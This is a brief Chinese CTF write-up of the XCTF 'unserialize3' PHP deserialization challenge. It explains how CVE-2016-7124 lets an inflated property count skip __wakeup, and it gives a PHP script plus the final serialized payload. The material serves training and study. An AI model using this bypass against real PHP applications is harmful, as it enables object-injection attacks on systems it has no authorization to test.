XCTF-unserialize3

Posted r3col

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XCTF-unserialize3相关的知识,希望对你有一定的参考价值。

unserialize3

这道题还是php反序列化

进来看到给了几行代码

class xctf{
public $flag = ‘111‘;
public function __wakeup(){
exit(‘bad requests‘);
}
?code=

说明有个xctf类,然后有个魔法函数__wakeup(反序列化时会触发)

今天早上刚做过一道题,利用CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

php脚本

<?php 
class xctf{
	public $flag = ‘111‘;
	public function __construct($flag) { 
        $this->flag = $flag; 
    }
	public function __wakeup(){
	exit(‘bad requests‘);
	}
}
$a = new xctf(‘xxx‘);
$b = serialize($a);
echo $b;
echo ‘<br>‘;
$c= str_replace(‘:1:‘, ‘:2:‘, $b);
echo $c;

?>

payload:O:4:"xctf":2:{s:4:"flag";s:3:"xxx";}

以上是关于XCTF-unserialize3的主要内容,如果未能解决你的问题,请参考以下文章